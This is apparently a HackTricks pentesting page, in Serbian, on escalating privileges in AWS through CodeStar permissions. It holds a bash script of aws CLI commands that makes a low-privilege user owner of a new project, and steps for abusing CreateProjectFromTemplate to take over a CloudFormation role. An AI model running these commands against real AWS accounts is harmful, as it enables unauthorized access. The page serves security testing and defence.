AWS - Codestar Privesc

Reading time: 3 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Codestar

Možete pronaći više informacija o codestar-u u:

codestar:CreateProject, codestar:AssociateTeamMember

iam:PassRole, codestar:CreateProject

Sa ovim dozvolama možete zloupotrebiti codestar IAM ulogu da izvršite arbitrarne radnje putem cloudformation šablona. Proverite sledeću stranicu:

iam:PassRole, codestar:CreateProject

codestar:CreateProject, codestar:AssociateTeamMember

Ova tehnika koristi codestar:CreateProject za kreiranje codestar projekta, i codestar:AssociateTeamMember da učini IAM korisnika vlasnikom novog CodeStar projekta, što će im omogućiti novu politiku sa nekoliko dodatnih dozvola.

bash
PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed

Ako ste već član projekta, možete koristiti dozvolu codestar:UpdateTeamMember da ažurirate svoju ulogu na vlasnika umesto codestar:AssociateTeamMember.

Potencijalni uticaj: Privesc na generisanu codestar politiku. Primer te politike možete pronaći u:

codestar:CreateProject, codestar:AssociateTeamMember

codestar:CreateProjectFromTemplate

  1. Kreirajte novi projekat:
  • Iskoristite akciju codestar:CreateProjectFromTemplate da započnete kreiranje novog projekta.
  • Nakon uspešnog kreiranja, pristup se automatski dodeljuje za cloudformation:UpdateStack.
  • Ovaj pristup se specifično odnosi na stek povezan sa CodeStarWorker-<generic project name>-CloudFormation IAM ulogom.
  1. Ažurirajte ciljni stek:
  • Sa dodeljenim CloudFormation dozvolama, nastavite da ažurirate navedeni stek.
  • Ime steka će obično odgovarati jednom od dva obrasca:
  • awscodestar-<generic project name>-infrastructure
  • awscodestar-<generic project name>-lambda
  • Tačno ime zavisi od odabranog šablona (referišući se na primer eksploatacionog skripta).
  1. Pristup i dozvole:
  • Nakon ažuriranja, dobijate mogućnosti dodeljene CloudFormation IAM ulozi povezanoj sa stekom.
  • Napomena: Ovo ne pruža inherentno pune administratorske privilegije. Dodatni pogrešno konfigurisani resursi unutar okruženja mogu biti potrebni za dalju eskalaciju privilegija.

Za više informacija proverite originalno istraživanje: https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/.
Eksploit možete pronaći na https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py

Potencijalni uticaj: Privesc na cloudformation IAM ulogu.

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks